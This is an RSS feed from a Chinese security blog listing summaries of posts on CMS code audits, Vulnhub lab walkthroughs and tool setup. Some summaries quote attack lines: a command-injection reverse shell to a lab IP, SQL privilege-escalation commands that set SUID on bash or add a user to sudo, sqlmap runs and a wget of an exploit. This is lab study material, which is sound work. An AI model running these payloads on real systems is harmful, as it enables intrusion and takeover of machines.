<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[a2FpX2tr的博客]]></title><description><![CDATA[]]></description><link>https://blog.youkuaiyun.com/a2FpX2tr</link><language>zh-cn</language><generator>https://blog.youkuaiyun.com/</generator><copyright><![CDATA[Copyright &copy; a2FpX2tr]]></copyright><item><title><![CDATA[代码审计系列2：小众cms oldcms]]></title><link>https://blog.youkuaiyun.com/a2FpX2tr/article/details/147305731</link><guid>https://blog.youkuaiyun.com/a2FpX2tr/article/details/147305731</guid><author>a2FpX2tr</author><pubDate>Thu, 17 Apr 2025 16:15:07 +0800</pubDate><description><![CDATA[sqlmap验证：python sqlmap.py -r test.txt --level 5 --risk 3。可以知道pl_safe是做过滤的，但是过滤的并不严谨，可绕过。选中Login_check函数，CTRL+b 跟进去。这处后台登录的地方，可以使用sql万能密码登录后台。先看一下pl_safe函数是做什么的。]]></description><category></category></item><item><title><![CDATA[熊海cms代码审计]]></title><link>https://blog.youkuaiyun.com/a2FpX2tr/article/details/147258565</link><guid>https://blog.youkuaiyun.com/a2FpX2tr/article/details/147258565</guid><author>a2FpX2tr</author><pubDate>Tue, 15 Apr 2025 21:02:41 +0800</pubDate><description><![CDATA[把数据包保存成test.txt  python sqlmap.py -r test.txt。editcolumn.php里面不止这里有sql注入，其他执行sql语句的地方也有注入。变量delete和delete2可控，并被带到sql语句中执行，字符型，使用报错注入。变量action可控，并被include函数包含。使用了mysql_error函数，使用报错注入。变量user可控并被带到sql语句中执行。要添加变量type=1才会执行SQL语句。burp抓包，发送到repeater。都是可控的，存在注入。]]></description><category></category></item><item><title><![CDATA[Vulnhub-FristiLeaks打靶]]></title><link>https://blog.youkuaiyun.com/a2FpX2tr/article/details/144773073</link><guid>https://blog.youkuaiyun.com/a2FpX2tr/article/details/144773073</guid><author>a2FpX2tr</author><pubDate>Fri, 27 Dec 2024 17:49:36 +0800</pubDate><description><![CDATA[总结：通过靶机名发现fristi目录，f12发现注释，进行base64解码后知道了密码，登录后使用apache解析漏洞成功获取到shell，最后使用脏牛进行提权]]></description><category></category></item><item><title><![CDATA[Vulnhub-SolidState打靶]]></title><link>https://blog.youkuaiyun.com/a2FpX2tr/article/details/144700708</link><guid>https://blog.youkuaiyun.com/a2FpX2tr/article/details/144700708</guid><author>a2FpX2tr</author><pubDate>Wed, 25 Dec 2024 22:22:30 +0800</pubDate><description><![CDATA[通过James-admin的默认密码登录后，修改所有用户的密码后，登录pop3发现邮件里面的ssh密码，登录并进行rbash逃逸，最后使用root执行的py文件进行提权]]></description><category></category></item><item><title><![CDATA[Vulnhub-Kioptrix 2014 打靶]]></title><link>https://blog.youkuaiyun.com/a2FpX2tr/article/details/144407230</link><guid>https://blog.youkuaiyun.com/a2FpX2tr/article/details/144407230</guid><author>a2FpX2tr</author><pubDate>Wed, 11 Dec 2024 20:05:13 +0800</pubDate><description><![CDATA[通过历史漏洞读取apache配置文件，知道配置规则后访问8080，又通过8080页面的历史漏洞getshell,最后使用nc上传提权的exp,进行编译，运行后得到root权限]]></description><category></category></item><item><title><![CDATA[Vulnhub-Kioptrix Level 4 打靶]]></title><link>https://blog.youkuaiyun.com/a2FpX2tr/article/details/144378494</link><guid>https://blog.youkuaiyun.com/a2FpX2tr/article/details/144378494</guid><author>a2FpX2tr</author><pubDate>Tue, 10 Dec 2024 19:45:20 +0800</pubDate><description><![CDATA[UDF提权不止有创建新用户并赋予root权限，下面还有几种方法供大家选择：
1. 设置 SUID 位
通过设置 SUID 位，允许普通用户以 root 权限运行某些程序，
例如 /bin/bash：
SELECT sys_exec('chmod u+s /bin/bash');
2.将用户 john 添加到 sudo 组
SELECT sys_exec('/usr/sbin/usermod -aG sudo john');
3.修改系统登录文件（如 /etc/passwd）将 root 用户的密码直接移除
]]></description><category></category></item><item><title><![CDATA[Vulnhub-Kioptrix Level 3 打靶方法二]]></title><link>https://blog.youkuaiyun.com/a2FpX2tr/article/details/144347743</link><guid>https://blog.youkuaiyun.com/a2FpX2tr/article/details/144347743</guid><author>a2FpX2tr</author><pubDate>Mon, 09 Dec 2024 19:46:11 +0800</pubDate><description><![CDATA[Vulnhub-Kioptrix Level 3 打靶方法一-优快云博客。]]></description><category></category></item><item><title><![CDATA[Vulnhub-Kioptrix Level 3 打靶方法一]]></title><link>https://blog.youkuaiyun.com/a2FpX2tr/article/details/144330778</link><guid>https://blog.youkuaiyun.com/a2FpX2tr/article/details/144330778</guid><author>a2FpX2tr</author><pubDate>Sun, 08 Dec 2024 21:08:09 +0800</pubDate><description><![CDATA[arp-scan -l 主机发现，确定192.168.213.134为靶机。]]></description><category></category></item><item><title><![CDATA[Vulnhub-Kioptrix Level 2 打靶]]></title><link>https://blog.youkuaiyun.com/a2FpX2tr/article/details/144312545</link><guid>https://blog.youkuaiyun.com/a2FpX2tr/article/details/144312545</guid><author>a2FpX2tr</author><pubDate>Sat, 07 Dec 2024 17:47:49 +0800</pubDate><description><![CDATA[现在功能正常了 nc监听并构造payload反弹shell：127.0.0.1 && /bin/bash -c 'bash -i >& /dev/tcp/192.168.213.128/443 0>&1'nmap -sn 192.168.213.0/24     #在靶机打开时和未打开时使用这条命令，判断那个IP为靶机。apache 2.0.52有 dos漏洞，也探测出有csrf漏洞，没法getshell，放弃。是一个登录界面，先f12看一下，会不会泄露出是什么cms或发现其他的敏感信息。]]></description><category></category></item><item><title><![CDATA[Vulnhub Kioptrix Level 1打靶]]></title><link>https://blog.youkuaiyun.com/a2FpX2tr/article/details/144299520</link><guid>https://blog.youkuaiyun.com/a2FpX2tr/article/details/144299520</guid><author>a2FpX2tr</author><pubDate>Fri, 06 Dec 2024 21:09:26 +0800</pubDate><description><![CDATA[searchsploit apache mod_ssl 发现能利用的exploit, 远程缓冲区溢出，能拿到shell。发现apache版本为1.3.20,打开网页使用Wappalyzer又发现mod_ssl 版本为2.8.4。在 http://github.com/heltonWernik/OpenLuck 找到编译利用的方法。在靶机上wget http://192.168.213.132:8888/ptrace-kmod.c。#对开放的端口进行详细的探测服务版本，保存到detail中。]]></description><category></category></item><item><title><![CDATA[秒懂 OpenSSL 配置！教你在 Visual Studio 中使用 AES 加密库]]></title><link>https://blog.youkuaiyun.com/a2FpX2tr/article/details/143803886</link><guid>https://blog.youkuaiyun.com/a2FpX2tr/article/details/143803886</guid><author>a2FpX2tr</author><pubDate>Fri, 15 Nov 2024 17:33:36 +0800</pubDate><description><![CDATA[1.下载链接：     https://slproweb.com/products/Win32OpenSSL.html。2.在C/C++的常规中添加 C:\OpenSSL-Win64\include 到附加包含目录。3.在 链接器的常规中添加 C:\OpenSSL-Win64\lib 到附加库目录。4.在链接器的输入中添加 libcrypto.lib 到 附加依赖项。无法打开 源 文件 "openssl/aes.h"此电脑右键属性，高级系统设置，高级里面的环境变量。在系统变量中，新建一个，填好，点击确定。]]></description><category></category></item><item><title><![CDATA[VS2022出现E1696 无法打开 源 文件 “unistd.h“，的解决方法]]></title><link>https://blog.youkuaiyun.com/a2FpX2tr/article/details/143795469</link><guid>https://blog.youkuaiyun.com/a2FpX2tr/article/details/143795469</guid><author>a2FpX2tr</author><pubDate>Fri, 15 Nov 2024 13:19:02 +0800</pubDate><description><![CDATA[把#include换成    #include          #include ]]></description><category></category></item><item><title><![CDATA[快速上手ARL：安装及个性化指纹与字典配置详解]]></title><link>https://blog.youkuaiyun.com/a2FpX2tr/article/details/143666017</link><guid>https://blog.youkuaiyun.com/a2FpX2tr/article/details/143666017</guid><author>a2FpX2tr</author><pubDate>Sun, 10 Nov 2024 20:33:15 +0800</pubDate><description><![CDATA[docker cp new_domain.txt arl_web:/code/app/dicts/     #将域名爆破字典导入到 ARL 的字典管理目录。下载后，放到kali桌面，输入   python ARl-Finger-ADD.py https://IP:5003/ admin password。docker cp files.txt arl_web:/code/app/dicts/     #将文件泄露爆破字典导入到 ARL 的字典管理目录。改成 ARL_VERSION=v2.6.1。]]></description><category></category></item><item><title><![CDATA[Jenkins_check————Jenkins批量检测工具]]></title><link>https://blog.youkuaiyun.com/a2FpX2tr/article/details/143484317</link><guid>https://blog.youkuaiyun.com/a2FpX2tr/article/details/143484317</guid><author>a2FpX2tr</author><pubDate>Mon, 04 Nov 2024 15:10:13 +0800</pubDate><description><![CDATA[Jenkins检测工具]]></description><category></category></item><item><title><![CDATA[常见端口漏洞的渗透思路表]]></title><link>https://blog.youkuaiyun.com/a2FpX2tr/article/details/143483074</link><guid>https://blog.youkuaiyun.com/a2FpX2tr/article/details/143483074</guid><author>a2FpX2tr</author><pubDate>Mon, 04 Nov 2024 14:28:23 +0800</pubDate><description><![CDATA[常见端口的服务存在的漏洞]]></description><category></category></item><item><title><![CDATA[Windows基础—cmd命令]]></title><link>https://blog.youkuaiyun.com/a2FpX2tr/article/details/143452428</link><guid>https://blog.youkuaiyun.com/a2FpX2tr/article/details/143452428</guid><author>a2FpX2tr</author><pubDate>Sat, 02 Nov 2024 16:30:42 +0800</pubDate><description><![CDATA[copy 1.txt+2.txt 3.txt   把1.txt和2.txt里面的内容合并起来，重命名为3.txt。move ..\1.txt 4.txt  把上一级目录的1.txt 移动到本机目录，并重命名为4.txt。copy 1.txt desktop\2.txt  把1.txt复制到桌面并重命名为2.txt。copy 1.txt ..\1.txt    把1.txt复制到上一级目录。ren  4.txt   5.txt    把4.txt重命名为5.txt。]]></description><category></category></item></channel></rss>